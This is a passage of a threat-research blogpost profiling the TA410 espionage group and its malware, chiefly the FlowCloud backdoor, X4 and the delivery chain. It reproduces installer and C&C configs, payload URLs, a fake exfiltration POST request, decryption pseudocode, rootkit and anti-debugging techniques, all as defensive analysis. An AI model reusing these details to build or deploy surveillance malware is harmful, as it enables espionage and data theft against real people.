A lookback under the TA410 umbrella: Its cyberespionage TTPs and activity

ESET researchers have documented and analyzed TA410 activity going back to 2019. TA410 is a cyberespionage umbrella group loosely linked to APT10, known mostly for targeting US-based organizations in the utilities sector, and diplomatic organizations in the Middle East and Africa. TA410 has been active since at least 2018 and was first publicly revealed in August 2019 by Proofpoint in its LookBack blogpost. A year later, the then-new and very complex malware family called FlowCloud was also attributed to TA410.

In this blogpost, we provide a detailed profile of this APT group, including its modus operandi and toolset that includes a new version of FlowCloud, discovered by ESET. This very complex backdoor contains interesting espionage capabilities. ESET will present its latest findings about TA410, including results from ongoing research, during Botconf 2022. For YARA and Snort rules, consult ESET's GitHub account.

TA410 teams compromise their targets in various ways, which indicates to us that those victims are targeted specifically, with the attackers choosing which entry method has the best chance of infiltrating the target.

The first stage of the FlowCloud version identified by ESET researchers can check whether specific security software is installed on the machine it tries to compromise, but this isn’t implemented in the loaders we analyzed. However, we found a custom AntivirusCheck class, which can check running processes against a hardcoded list of executable filenames from known security products, including ESET products. In case one of these products is detected, FlowCloud goes through its regular loading process and cancels the auto_start_after_install configuration value.

Even though we believe that this version of FlowCloud is still undergoing development and testing, the cyberespionage capabilities of this version include the ability to collect mouse movements, keyboard activity, and clipboard content along with information about the current foreground window. This information can help attackers understand stolen data by contextualizing it.

FlowCloud can also gather information about things happening around the victim’s computer by taking pictures using connected camera peripherals and recording audio using a computer’s microphone. This latter function is triggered by any sound over a threshold of 65 decibels, which is in the upper range of normal conversation volume.

Attribution

ESET researchers believe that TA410 is composed of three different teams, using very similar tactics, techniques, and procedures (TTPs) but different toolsets and exiting from IP addresses located in three different districts. These teams, referred to below as FlowingFrog, LookingFrog, and JollyFrog, have overlaps in TTPs, victimology, and network infrastructure.

• FlowingFrog uses Royal Road RTF documents, a first-stage implant called Tendyron, and a very complex second-stage backdoor called FlowCloud.
• LookingFrog uses a first-stage backdoor called X4, and LookBack as a second stage.
• JollyFrog uses only generic malware families such as Korplug (aka PlugX) and QuasarRAT. Part of the activity of this team was described by Fortinet, who attributed the activity to APT10. ESET researchers, however, believe this activity is different from the operations that APT10 (aka A41APT) has conducted recently.

FlowingFrog and JollyFrog share network infrastructure – more precisely, the domain ffca.caibi379[.]com, as mentioned by Proofpoint.

FlowingFrog and LookingFrog ran a phishing campaign at the same time against the same targets, as also mentioned in the same Proofpoint article.

In ESET telemetry, we do not see any other overlap between these subgroups. We believe that these subgroups operate somewhat independently but that they may share intelligence requirements, an access team that runs their spearphishing campaigns, and also the team that deploys network infrastructure.

Victimology

Most TA410 targets are high-profile organizations in the diplomacy and education sectors, but we have also seen victims in the military sector, a manufacturing company in Japan, a mining company in India, and a charity in Israel. According to ESET telemetry, the victims are located in Africa, Asia, the Middle East, and Europe. Interestingly, there is no clear segmentation of the targeting (by sector or geography) among the different teams.

An element worth mentioning is that TA410 targets foreign individuals in China. In ESET telemetry, we have observed this as having happened at least twice: for instance, one victim is a French academic, and another is a member of a diplomatic mission of a South Asian country in China.

Since 2018, we have seen the following targets, also depicted in Figure 1:

• FlowingFrog: University, foreign diplomatic mission of a South Asian country in China, mining company
• LookingFrog: Diplomatic missions, charity, government and industrial manufacturing
• JollyFrog: Education, church, military, diplomatic mission

Figure 1. Map of countries and verticals targeted by TA410

Initial compromise and typical TTPs

If we exclude the different backdoors, the three teams use a similar modus operandi. They compromise their targets either by spearphishing, according to Proofpoint, or, for LookingFrog and JollyFrog, by compromising a web-facing application such as Microsoft Exchange or SharePoint. This could indicate that victims are targeted specifically, with the attackers choosing which entry method is the best for a given target.

The public-facing application compromise approach is what we have seen the most. Attackers linked to LookingFrog exploited Microsoft SharePoint servers in 2019 to gain code execution, probably by leveraging CVE-2019-0604. They then dropped an ASPX webshell that was used to install other malicious components. These were either dropped directly via the webshell or downloaded from a remote server using certutil.exe, a known LOLBin.

In 2020, we saw further exploitations by JollyFrog, of Microsoft SQL servers and IIS servers running custom applications.

In August 2021, we observed LookBack being loaded by an IIS worker process on a server belonging to an industrial manufacturing company in Japan. This happened following the exploitation of the Exchange ProxyShell vulnerability on that server, as we describe in ESET Threat Report T3 2021.

This shows that LookingFrog operators closely follow the discovery of RCE vulnerabilities in popular server applications and quickly make use of any available exploit in order to gain control of unpatched servers run by organizations on their target lists.

In addition to the full-featured backdoors analyzed in the following sections, these attackers use a variety of tools such as vulnerability scanners, exploits from the Equation Group leaks, proxy/tunneling utilities (HTran, LCX, EarthWorm), and lateral movement scripts such as WMIExec.

Arsenal

TA410 – FlowingFrog

FlowingFrog uses a first stage that ESET researchers have named the Tendyron downloader, and a complex second stage named FlowCloud, so named by the developers in its modules’ PDB paths.

Royal Road and Tendyron downloader

Royal Road is a malicious document builder used by several cyberespionage groups (see the analysis by nao_sec). Files built with this tool are RTF documents exploiting Equation Editor N-day vulnerabilities such as CVE-2017-11882. TA410 operators always use the Royal Road encoding bytes: A9 A4 6E FE, as seen in Figure 2.

Figure 2. Encoded Royal Road payload

On October 13^th 2020, we noticed that a new Royal Road RTF document, shown in Figure 3, had been uploaded to VirusTotal.

Figure 3. Royal Road RTF document found on VirusTotal (SHA‑1: ADD5B4FD9AEA6A38B5A8941286BC9AA4FE23BD20)

When opened, the document triggers the injection of a custom downloader – a PE executable – into an iexplore.exe process. The PE resources 103, 104 and 105 contain the payload URLs, XORed with 0xD3. The following files are downloaded and written to disk:

• http://103.139.2[.]93:1702/tdr.dat written to %localappdata%\Tendyron\Tendyron.exe
  (SHA-1: 09C76522136B5E9BAB74381FEEE265F7E9B1D550)
• http://103.139.2[.]93:1702/okt.dat written to %localappdata%\Tendyron\OnKeyToken_KEB.dll (SHA‑1: F359D3C074135BBCA9A4C98A6B6544690EDAE93D)
• http://103.139.2[.]93:1702/md.dat written to %localappdata%\Tendyron\Tendyron.conf
  (we were not able to retrieve this file)

Finally, this process separately downloads http://103.139.2[.]93:1702/t86.dat (resource 101), loads it into memory, and calls its startModule export. Unfortunately, we were not able to retrieve this sample.

Tendyron.exe is a legitimate executable, signed by online-banking security vendor Tendyron Corporation, and that is vulnerable to DLL search-order hijacking. Persistence for the downloaded payload is established via the Tendyron value under the Run key HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run.

When executed, Tendyron.exe loads the malicious OnKeyToken_KEB.dll. The export OnKeyT_ContextInit contains code that decrypts hardcoded shellcode (see Figure 4) and injects it into iexplore.exe using WriteProcessMemory.

Figure 4. Shellcode decryption loop

The next stage, injected into iexplore.exe, is a backdoor written using the Microsoft Foundation Class (MFC) framework. It also contains RTTI symbols and thus a few C++ class names:

• ClientSocket
• Manager
• DllManager
• KernelManager

These class names are the same as used in Farfli/Gh0stRAT, a backdoor that has been used for more than 10 years to conduct (mostly) cyberespionage operations. Its source code was leaked and is now available on GitHub. Thus, we believe that TA410 developers reused code copied from Farfli.

The C&C server is hardcoded, in cleartext, in the sample; in this specific case, it is set to 114.118.83[.]141.

On VirusTotal, as shown in Figure 5, we can see one more HTTP request to 103.139.2[.]93 was triggered during the execution of the RTF file. The result of the request to http://103.139.2[.]93:1702/SL3716/S8437AEB.DAT was recorded by VirusTotal and the SHA-1 of this encrypted file is 140F81037A76B7B16A00E1D5E0E2CD9F6687F642. This URI is typical of those used to download FlowCloud, a complex C++ implant described in the next section.

Figure 5. URL requests seen by the VirusTotal sandbox during execution of the malicious RTF document

The identical encrypted file was also downloaded from http://114.55.109[.]199:56022/SL3716/S8437AEB.DAT by a FlowCloud dropper version 4.1.3 (SHA‑1: 014421BDB1EA105A6DF0C27FC114819FF3637704). A summary of the compromise chain is provided in Figure 6.

Figure 6. Compromise chain from the Royal Road document to FlowCloud

FlowCloud

FlowCloud is a complex implant written in C++. It consists of three main components, deployed in a multistage process that uses various obfuscation and encryption techniques to hinder analysis. Multiple versions of FlowCloud have been identified since 2020, most notably versions 4.1.3 and 5.0.1 described by Proofpoint. In this section, we analyze FlowCloud versions 5.0.2 and 5.0.3. Contrary to those previously found, the samples we obtained for version 5.0.2 contain verbose error messages and meticulous logging.

This deployment process is very similar to the one described by Proofpoint for version 5.0.1. The three main components are a driver with rootkit functionality, a simple persistence module, and a custom backdoor. We describe these in detail in the upcoming sections.

Loader (ClientLdrExe)

The first stage is responsible mostly for creating the files and registry keys used by the other stages. The values for these executables and configuration data can be found, encrypted, in the loader’s resource section. Table 1 contains an overview of these resources and their use.

Table 1. Contents of the dropper’s resources

In the instances we observed, most resources are written to disk encrypted, and only decrypted in memory when needed. In some cases, they are then re-encrypted but with a different key. This technique makes it harder to dump the plaintext values from the process’s memory and to analyze exit dumps. The paths and registry keys to use, and whether they should be decrypted before being written, are defined in the installation configuration. The samples we analyzed all store their files in the %ProgramFiles%\MSBuild\Microsoft\Expression\Blend\msole\ directory; we believe that this is the default value. FlowCloud uses filenames that are either similar to those of legitimate Windows files (e.g., rebare.dll which could be mistaken for rebar.dll) or innocuous looking (e.g., AC146142) to avoid suspicion.

Figure 7 presents a graphical overview of the deployment process and its elements. We explain each of the steps in further detail in the upcoming sections.

Figure 7. FlowCloud deployment process

First, the loader decrypts and parses the embedded installation configuration, which uses the Windows INI format. This configuration defines the malware’s install path along with the filename or registry key where each embedded resource is to be written. The same values are hardcoded in the following stages, which leads us to think that the samples are generated using a builder. In a sample we analyzed, this configuration is accompanied with comments explaining the values for some sections. Figure 8 shows this installation configuration with the comments translated into English.

#Product name, these will be used in the configuration generator and applied to the front end
[product]
product_chs_name=Sky Arrow
product_name=PCArrowI
product_version=v5.0.2

[general]
created_folder=:\Program Files\MSBuild\Microsoft\Expression\Blend\msole
install_folder=:\Program Files\MSBuild\Microsoft\Expression\Blend\msole
data_folder=:\Program Files\MSBuild\Microsoft\Expression\Blend\msole\fcdata

hide_user_activity_tab = 0

#File path, not including drive letter
[file]
100=:\Program Files\MSBuild\Microsoft\Expression\Blend\msole\responsor.dat
103=:\Program Files\MSBuild\Microsoft\Expression\Blend\msole\setlang.exe
104=:\Program Files\MSBuild\Microsoft\Expression\Blend\msole\setlangloc.dat
#105=:\Program Files\MSBuild\Microsoft\Expression\Blend\msole\rebare.dat
106=:\Program Files\MSBuild\Microsoft\Expression\Blend\msole\rescure.dat
107=:\Program Files\MSBuild\Microsoft\Expression\Blend\msole\rescure86.dat
108=:\Program Files\MSBuild\Microsoft\Expression\Blend\msole\rescure64.dat
109=:\Program Files\MSBuild\Microsoft\Expression\Blend\msole\sspisrvui.dat
110=:\Program Files\MSBuild\Microsoft\Expression\Blend\msole\setlangloc.dll
101=:\Program Files\MSBuild\Microsoft\Expression\Blend\msole\E86F36C4
102=:\Program Files\MSBuild\Microsoft\Expression\Blend\msole\AC146142
1000=:\Program Files\MSBuild\Microsoft\Expression\Blend\msole\E19D9D4B

#0x0001 Release without decryption
#0x0002 Decryption release
[file_out_type]
100=0x0001
103=0x0002
104=0x0002
#105=0x0002
106=0x0002
107=0x0002
108=0x0002
109=0x0002
110=0x0002
101=0x0001
102=0x0001
1000=0x0001

##Registry path: separated by'|', respectively representing HKEY_LOCAL_MACHINE, path name, value name
[key]
##100=0x80000002|SYSTEM\Setup\PrintResponsor|1
#101=0x80000002|SYSTEM\Setup\PrintResponsor|2
#102=0x80000002|SYSTEM\Setup\PrintResponsor|3
#1000=0x80000002|SYSTEM\Setup\PrintResponsor|4
##2000=0x80000002|SYSTEM\Setup\AllowStart\ceipCommon|1
##2001=0x80000002|SYSTEM\Setup\AllowStart\ceipCommon|2
2001=0x80000002|SYSTEM\Setup\AllowStart\ceipCommon|1

##0x0001 Release without decryption
##0x0002 Decryption release
[key_out_type]
##100=0x0001
#101=0x0001
#102=0x0001
#1000=0x0001
#2000=0x0002
2001=0x0002

#Service Information: hhw.exe needs to be dynamically generated
[service_attribute]
is_hhw=0
service_name=PrintResponsor
service_path=%ProgramFiles%\MSBuild\Microsoft\Expression\Blend\msole\setlang.exe
service_parm=

Figure 8. Installation configuration with explanatory comments. Note that some fields are commented out.

The configuration can also contain a section defining specific security software to check for, but this isn’t implemented in the loaders we analyzed. However, there is a custom AntivirusCheck class, which can check running processes against a hardcoded list of XOR-encrypted executable filenames from known security products: 360 Total Security, Avast, Avira, AVG, Bitdefender, ESET, Jiangmin Technology Antivirus, Kingsoft, McAfee, Micropoint, Norton, Rising Antivirus, and Trend Micro. This class is only used if the loader is set to directly start the fcClient module via the auto_start_after_install configuration key.

Depending on the configuration keys used, the loader can either load the fcClientDll RAT module directly, thus bypassing most of the complex deployment process, or it can create a service or scheduled task. In the former case, the task or service attains persistence by being set to start automatically on boot. In the samples we observed, the task or service was configured to execute the next step of the installation process by running a legitimate application vulnerable to DLL search-order hijacking. The application and the accompanying relevant and malicious DLL were both embedded in the loader’s resources.

DLL side-loading (XXXModule_dlcore0)

In the samples we analyzed, the vulnerable application was either setlang.exe from Microsoft Office 2003 with a malicious setlangloc.dll or vpreview.exe from Visio Preview 2007 with a malicious vviewres.dll. Strings contained in the malicious DLL also point to emedres.dll from Emurasoft’s EmEditor as a possible third target for DLL side-loading. This is a real possibility as such vulnerabilities were present in older versions of EmEditor, but we did not see any samples using it.

In all observed samples, the malicious library is the same and serves to load and execute shellcode from a file that is stored under the same name as the DLL, but with a .dat extension. We analyze this shellcode in the next section, but first, we want to look at the notable anti-analysis techniques used in this library.

Despite its relatively simple goals, the library’s code makes heavy use of anti-debugging tricks and control flow obfuscation to hinder analysis. In the function that loads the next file, the useful code is repeatedly interspersed with the same sequence of opcodes to obfuscate the program’s flow. As shown in Figure 9, this short snippet is packed full of anti-analysis tricks, but ultimately amounts to an unconditional 16-byte jump. This is enough to foil many automatic analyses, including decompilers.

Figure 9. Annotated disassembly of the control flow obfuscation snippet

The above snippet is bookended by calls to two anti-debugging functions, as can be seen in Figure 10. The function, which we named crash_if_debugger in the previous screenshot, calls IsDebuggerPresent and checks some commonly hooked library functions for a breakpoint as their first instruction. If those checks detect a debugger, the function returns a value that will cause the program to jump to an invalid address and crash. The second one raises an exception via the INT 0x2D instruction and exits if it was handled by a debugger.

Figure 10. Decompiler view showing the obvious pattern of anti-debugging checks. Note that we had to remove the aforementioned obfuscation for the decompiler to produce any output.

fcClient (rescure.dat)

When it is first executed, this module sets up persistence and installs the backdoor, rootkit, and persistence modules. It then sets specific registry keys and files as guardrails to skip the setup on subsequent runs.

First, persistence is established by using the ITaskService COM interface to create the \Microsoft\Windows\CertificateServicesClient\NetTask scheduled task. If a task with the same name already exists, it is deleted before the new one is created. This task will run the DLL hijacking target as SYSTEM at each boot.

Afterwards, the rootkit module is decrypted and written to the %System%\drivers folder as hidmouse.sys. A hidmouse service is then created to run that module and is immediately started. The file is then deleted from the disk and replaced by a copy of the legitimate hidusb.sys driver from the same folder. Thus, anyone looking at the file on disk rather than the one mapped into memory would see a legitimate, benign file.

On Windows 10 machines, the system time is briefly changed to make it look like the service was created in January 2013. Both this and the use of the legitimate driver directory help the rootkit blend in with other drivers.

The following files are copied to the %System% directory:

• The backdoor: rescure.dat
• A decoy DLL: sspisrvui.dat as sspisrvui.dll (timestomped to July 2013)
• The encrypted shellcode: rebare.dat

The rebare.dat shellcode is very similar to that used in the self-decrypting DLL, but it loads fcClient directly.

FlowCloud then starts a suspended process to perform injection on it. This process is created via CreateProcessAsUserW using a token retrieved from the explorer.exe or winlogon.exe process in the current session.

The injected code loads the same backdoor (rescure.dat) into the process’s memory and calls its startModule export to finish the installation. Meanwhile, the injection process is terminated.

At this point, installation of the backdoor is complete. All that is left is to execute the backdoor. To achieve this, the new process loads the decoy DLL and manually replaces its content in memory with the fcClientDll module (a process known as module stomping or DLL hollowing), before calling its main function.

fcClientDll (responsor.dat)

This complex module is the main component of the backdoor. It provides a wide range of capabilities from full file system access to control of camera peripherals and everything in between. Although we did not observe any plugins, the backdoor contains code that hints that they can be used to further extend functionality.

Before diving deeper into the functionalities, we want to highlight some notable characteristics:

• Configuration information and data for communications with the C&C server are Protobuf-serialized, compressed, and encrypted.
• File exfiltration is done through encrypted, Protobuf-serialized structures and is disguised as HTTP by prepending the data with a hardcoded, fake POST request. The Content-Length header is the only variable element, as it is set to the actual size of the data sent. This hardcoded request can be seen in Figure 11.
• Multiple functionalities are implemented through the use of COM objects and interfaces.

POST /messagebroker/amf HTTP/1.1
Host: s.peheavens.com
Connection: keep-alive
Content-Length: <content_length>
Origin: http://s.peheavens.com
X-Requested-With: ShockwaveFlash/20.0.0.306
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.87 Safari/537.36
Content-Type: application/x-amf
Accept: */*
Referer: http://s.peheavens.com/html/portlet/ext/draco/resources/draco_manager.swf/[[DYNAMIC]]/1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: COOKIE_SUPPORT=true; JSESSIONID=5C7E7A60D01D2891F40648DAB6CB3DF4.jvm1; COMPANY_ID=10301; ID=666e7375545678695645673d; PASSWORD=7a4b48574d746470447a303d; LOGIN=6863303130; SCREEN_NAME=4a2b455377766b657451493d; GUEST_LANGUAGE_ID=en-US

Figure 11. Hardcoded, fake HTTP POST request used for FlowCloud C&C communication

This component uses an encrypted, Protobuf-serialized configuration that it tries to read from a file on disk or a registry key. The configurations we observed were composed of three sections:

1. server_config: This section contains information about the C&C servers and identification information about the victim and backdoor.
2. policys [sic]: This section defines the behavior of the backdoor’s components and is described in detail in the following paragraphs.
3. install_config: As the name indicates, this section defines the installation parameters.

An example of such a server_config is shown in Figure 12. This configuration corresponds to resource 1000 in the initial loader. It defines the address and port for both the exfiltration server (file_server) and the C&C server (exchange_server), along with the encryption key to use for communication with each. A fallback server can also be defined for each of these. The file_key field defines the encryption key to use when storing files that are to be exfiltrated. The other entries are used to identify the backdoor and the victimized host:

• product_name: A name for the backdoor in use. PCArrowI seems to correspond to FlowCloud.
• product_version: The backdoor’s version.
• id_prefix: This value is prefixed to the generated ID. Presumably, used to group victims or campaigns.
• id: This value uniquely identifies the victim. Initially, it is empty; the value is generated on the first execution using the following format: <prefix>_<current timestamp>_<machine hostname>

server_config 
{
                                                                                          
  product_name: “PCArrowI"
  product_version: "v5.0.2"
  id: "1202_[REDACTED]"                                  
  root: "" 
  file_server: "47.111.22[.]65"
  file_server_port: "80"
  file_server_bak: ""
  file_server_bak_port: ""
  exchange_server: "47.111.22[.]65"
  exchange_server_port: "81"
  exchange_server_bak: ""
  exchange_server_bak_port: ""
  file_server_key: "E\367\016\031<…>"
  xchg_server_key: "8\335\325$<…>"
  file_key: "U\267\323\353\<…>"           
  is_audio_only: false
  id_prefix: "1202"
}                                                                               

Figure 12. server_config section of a decoded FlowCloud configuration

FlowCloud’s capabilities are spread out over a series of singleton classes, each of which implements a cohesive set of functionalities related to a specific type of data or action. These roughly follow an internal naming convention where classes with names ending with manager_handler perform actions in response to C&C commands, while those whose names end with manager automatically perform actions based on timers or event listeners.

Each manager stores collected data in its own SQLite database, while data that is collected on demand is returned directly to the C&C server. Data is encrypted with the aforementioned file_key before being inserted into the database. The location of the SQLite databases is defined by the data_folder install configuration key, with the default value being %ProgramFiles%\MSBuild\Microsoft\Expression\Blend\msole\fcdata.

The classes are orchestrated by an instance of fc_kernel_manager. This object is responsible for initializing other components and handling C&C connections. It can also update the local configuration when the corresponding command is received.

As shown in Figure 13, parameters and frequency of automated actions can be specified and finely tuned through configuration policies. Data exfiltration is likewise automated: policies can contain a cache_size or cache_count parameter, which determines how much data can be collected locally by the corresponding class before it is staged for exfiltration.

policys {                                                                                                                                                                                     
  keyboard_policy {                                                                                                                                                                           
    state: true                                                                                                                                                                               
    cycle_time: 60                                                                                                                                                                            
    limit_size: 100                                                                                                                                                                           
    cache_size: 10                                                                                                                                                                            
  }                                                                                                                                                                                           
  screen_policy {                                                                                                                                                                             
    state: true                                                                                                                                                                               
    cycle_time: 30                                                                                                                                                                            
    cache_count: 200                                                                                                                                                                          
    bit_depth: 4                                                                                                                                                                              
  }                                                                                                                                                                                           
  audio_policy {                                                                                                                                                                              
    state: false                                                                                                                                                                              
    cache_size: 100                                                                                                                                                                           
    decibel_limit: 65                                                                                                                                                                         
    continue_seconds: 15                                                                                                                                                                      
  }                                                                                                                                                                                           
  smfile_search_policy {                                                                                                                                                                      
    guid: "XXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX"                                                                                                                                              
    state: false                                                                                                                                                                              
    research: true                                                                                                                                                                            
    inc_all_removable: true                                                                                                                                                                   
    inc_all_fixed: true                                                                                                                                                                       
    limit_size: 1                                                                                                                                                                             
    recent_days: 30                                                                                                                                                                           
    filter: "*.doc"
    filter: "*.docx"                                                                                                                                                                          
    filter: "*.xls"                                                                                                                                                                           
    filter: "*.xlsx"                                                                                                                                                                          
    filter: "*.ppt"                                                                                                                                                                           
    filter: "*.pptx"                                                                                                                                                                          
    filter: "*.bmp"                                                                                                                                                                           
    filter: "*.jpg"                                                                                                                                                                           
    filter: "*.png"                                                                                                                                                                           
    filter: "*.gif"                                                                                                                                                                           
    cache_size: 1024                                                                                                                                                                          
    b_exclude_system_files: true                                                                                                                                                              
    b_exclude_system_folders: true
  }                                                                                                                                                                                           
  installedapp_policy {                                                                                                                                                                       
    state: false                                                                                                                                                                              
  }                                                                                                                                                                                           
  clipboard_policy {                                                                                                                                                                          
    state: false                                                                                                                                                                              
    ignore_repeat: true                                                                                                                                                                       
    cycle_time: 300                                                                                                                                                                           
    limit_size: 100                                                                                                                                                                           
    single_limit_size: 10                                                                                                                                                                     
    cache_size: 50                                                                                                                                                                            
  }                                                                                                                                                                                           
  user_activity_policy {                                                                                                                                                                      
    process_activity_state: false                                                                                                                                                             
    browser_activity_state: false                                                                                                                                                             
  }                                                                                                                                                                                           
}

Figure 13. The policys [sic] section of a decoded FlowCloud config

As we have previously mentioned, this implant uses a lot of classes. Rather than documenting each of them individually, we will present an overview of the available functionality by grouping them into three categories: those that interact with the file system, functionalities that collect information about programs and processes, and those that gather real-time information about user activity.

File system

FlowCloud provides interaction with the file system in a variety of ways, most of which can store file metadata and content in their SQLite database.

One of these is a component that walks through all mapped file systems and collects files that are not excluded by filters in the smfile_search_policy. It also creates an invisible window that listens for file creation, modification, or renaming events. The corresponding files are collected unless they are excluded by that policy.

Another component collects information about mapped volumes, including mount point, name, drive type, and disk usage data. This same class collects file and directory metadata.

As a complement to these automated measures, the backdoor implements functions that provide full access and control over the content of mounted drives. This includes bidirectional file transfers between the C&C and the compromised machine.

Programs and processes

FlowCloud is able to automatically obtain a list of installed software through the use of the undocumented IShellAppManager COM interface. This functionality can also be invoked via a C&C command. Figure 14 shows, after the extraneous code has been removed, how that interface is used.

Figure 14. Simplified code showing how the IShellAppManager COM interface is used to list installed applications

Other commands can be used to retrieve a detailed list of available services and currently running processes.

Another interesting feature is the near real-time monitoring of process activity. To achieve this, FlowCloud runs WMI queries every second to get all process creation and termination events. The obtained information is correlated with data from the Win32_Process table for a more detailed view.

User activity

FlowCloud is able collect a miscellany of data that we have decided to group under the “User activity” umbrella.

It has the ability to monitor the clipboard for changes and save any data it contains. As seen in Figure 15, it achieves this by creating an invisible window with a custom class and registering two clipboard formats. This window uses AddClipboardFormatListener (on Windows Vista or more recent) or SetClipboardViewer (on Windows XP and prior) to listen for clipboard content changes.

Figure 15. Set up monitoring of the clipboard

Collected clipboard content is stored along with information about the current foreground window. This information can help attackers understand the data by contextualizing it.

FlowCloud can periodically take screenshots and store them with information about the foreground process and time since the last user input. To limit the disk space used, images where fewer than 5% of the pixels differ from the most recently stored capture aren’t saved. This feature can also be invoked on demand by the server.

Another of the backdoor’s components records mouse and keyboard activity to a database. It does not collect these directly, but instead acts in tandem with the keylogger component of the driver (described in the next section) by reading data from the \\.\pipe\namedpipe_keymousespy_english named pipe.

Interestingly, FlowCloud can also gather information about things happening around the victim’s computer. The first way it does so is through a C&C command that takes a picture using connected camera peripherals. This feature is implemented using the CCameraDS class from OpenCV.

The second way it can collect information about the computer’s surroundings is by recording audio. Much like a voice assistant, FlowCloud can use a computer’s microphone to listen to its surroundings, but instead of recording being triggered by a command word, it seems to be triggered by any sound over a threshold defined by the decibel_limit field of the audio_policy. The default value is 65 decibels, which is in the upper range of normal conversation volume (commonly defined to be anywhere between 50 and 70 dB by various sources).

Self-decrypting DLL (setlangloc.dat)

The loaded shellcode is a self-decrypting DLL. It first decrypts the embedded DLL using a byte-oriented XOR-and-ADD scheme (shown in Figure 16). The shellcode we analyzed used the key 0x7B. Once it has decrypted the embedded DLL, the shellcode manually performs the functions of LoadLibrary and calls the loaded module’s startModule export.

for (int i=0; i < ciphertext_length; i++)
     plaintext[i] = ((encrypted[i] ^ key) + key) & 0xFF

Figure 16. Pseudocode for the DLL decryption routine

This newly loaded module uses the same anti-debugging and anti-analysis techniques as the hijacking DLL described above. On top of those, it also uses a few tricks of its own:

• Covers its tracks by overwriting the code previously modified by the malicious library with a useless call to lstrlenW.
• Base64-encoded strings are used for function imports (via GetProcAddress) and only decoded as needed.
• Exits if the process’s executable is not the expected DLL hijacking target (e.g., setlang.exe).

The module creates a new process using the same executable and performs process injection on it, redirecting the existing thread to the written code region. This code inside the new process launches a thread that decrypts and loads the fcClient module before calling its startModule export. That function will perform the final stages of the installation and load the DLL containing the backdoor functionality.

Driver (hidmouse.sys)

FlowCloud’s driver serves a dual purpose: it acts as both a keylogger and a rootkit. It accomplishes this mainly by hijacking native drivers’ handler functions for specific I/O control codes and replacing them with its own:

• Read (IRP_MJ_READ) for the keyboard driver (kbdclass or KeyboardClass0)
• Read (IRP_MJ_READ) for the mouse driver (mouclass or PointerClass0)
• Device control (IRP_MJ_DEVICE_CONTROL) for the network driver (tcpip or nsiproxy)

The driver also provides kernel-level functionalities to be used by the RAT. They can be invoked via I/O control codes or by writing to specific registry keys.

This module is signed with a certificate with the thumbprint 02ED6A578C575C8D9C72398E790354B095BB07BC. Issued to Hangzhou Leishite Laser Technology Co. in 2012 by Wosign and revoked in 2014, it seems most likely this certificate was stolen.

Keylogging

In its IRP_MJ_READ handlers for keyboard and mouse events, the driver simply records IO events to lookaside lists before passing them to the legitimate handler. This ensures that the driver doesn’t interfere in a way that could be noticeable by the user. These events are then parsed to the format used by the backdoor’s keymouse_manager and written to the named pipe \\.\pipe\namedpipe_keymousespy_english.

Rootkit

After hijacking the aforementioned drivers, the rootkit erases the DLL names associated with them from internal structures used to display device drivers.

The rootkit can prevent processes from being shown by utilities that list running processes, such as Task Manager. As shown in Figure 17, it achieves this by removing their entries from the ActiveProcessLinks list of the undocumented KPROCESS kernel structure. Since this structure is not part of the public API and can change between releases, the rootkit contains code to match the operating system’s build number to the correct offsets in this structure. That code covers all versions from Windows XP to Windows 10 20H1. This functionality can be invoked on any process via the IOCTL_HIDE_PROCESS_BY_PROCESSID (0x222028) control code. It is also used, on driver startup, to hide the process with the PID contained in the registry key HKLM\HARDWARE\{76BA14B7-AF0C-4dc9-9E9D-2A6970F231D9}. This process is further camouflaged by changing its associated executable filename to one of svchost.exe or dllhost.exe in the same kernel structure.

Figure 17. Function used to prevent a process from being displayed in lists of running processes

Through its hijacking of the network driver, the rootkit can also hide a single process’s network traffic from local utilities. The process whose traffic is to be hidden is set through the IOCTL_SET_TRAFFICHIDE_PROCESSID (0x222048) control code.

Some of the rootkit’s functions are used by the fcClientDll module to hide the process in which it is running.

Control codes to manipulate a process name in various internal structures are also exposed by the driver.

Persistence module (fcClientWD)

This module is relatively simple compared to other components. The previously mentioned NetTask already accomplishes persistence in most cases, by executing on system startup. This module complements that mechanism by ensuring persistence in a very specific edge case where execution of the malware might be interrupted: the user logs out on a system with hibernation and Fastboot enabled. On systems where either of those is disabled, this module does nothing.

FlowCloud v4.1.3

This older version of FlowCloud has already been described in a Proofpoint blogpost and presents similarities to the newer version described in the preceding subsections, so we will only highlight notable differences and new information revealed by our analysis.

This version runs multiple anti-analysis and anti-detection checks before executing its payload, and terminates if any of those tests detect that the process is being analyzed. It checks running processes for executables of several known cybersecurity vendors. While most of these names are also present in version 5, this list is not a strict subset of the one v.5 uses. This tends to support the proposition that versions 4 and 5 of FlowCloud are maintained in parallel.

It also embeds a DLL version of the Pafish (aka Paranoid Fish) sandbox and analysis detection tool as one of its encrypted resources. This library is loaded in memory and all of the anti-analysis/anti-sandboxing checks it implements are run.

Interestingly, the driver installed is the same as the one for version 5.0.2. Those used by version 5.0.3 provide identical functionality, but differ slightly.

TA410 – LookingFrog

LookingFrog uses two main malware families: X4 and LookBack. We have seen both of them on machines belonging to the same victim.

X4

X4 is a custom backdoor that is used as a first stage, before LookBack is deployed. It is loaded by a VMProtect-ed loader, usually named PortableDeviceApi.dll or WptsExtensions.dll. Unfortunately, we were not able to uncover any persistence method.

The loader injects an orchestrator into memory in a svchost.exe process. In turn, the orchestrator injects the network component into memory and communicates with it via a file located at C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys\Log\rsa.txt. Figure 18 shows a summary of the X4 components.

Figure 18. Summary of the X4 components

The network component is shellcode. It is encrypted using the AES algorithm and stored in the Windows registry. Table 2 shows the three registry keys used by X4.

Table 2. Network shellcode registry keys

The decrypted shellcode looks like it was based on Metasploit and communicates with a hardcoded IP address via HTTP. An interesting characteristic is that it uses the fake Host header onedrive.live.com.

Every second, the orchestrator, which lives in memory only, reads the cleartext rsa.txt file to check whether there are new commands to execute. The commands are received from the C&C server, via the network shellcode. In the orchestrator, the commands are identified by a numerical identifier that is computed from the command name, as shown in Figure 19.

Figure 19. Custom hash function seen in X4

The orchestrator handles seven commands, detailed in Table 3. Output of these commands is written to C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys\Log\output.log.

Table 3. X4 backdoor commands

X4 provides basic functionalities to control the machine remotely, but it lacks more advanced spying capabilities.

LookBack

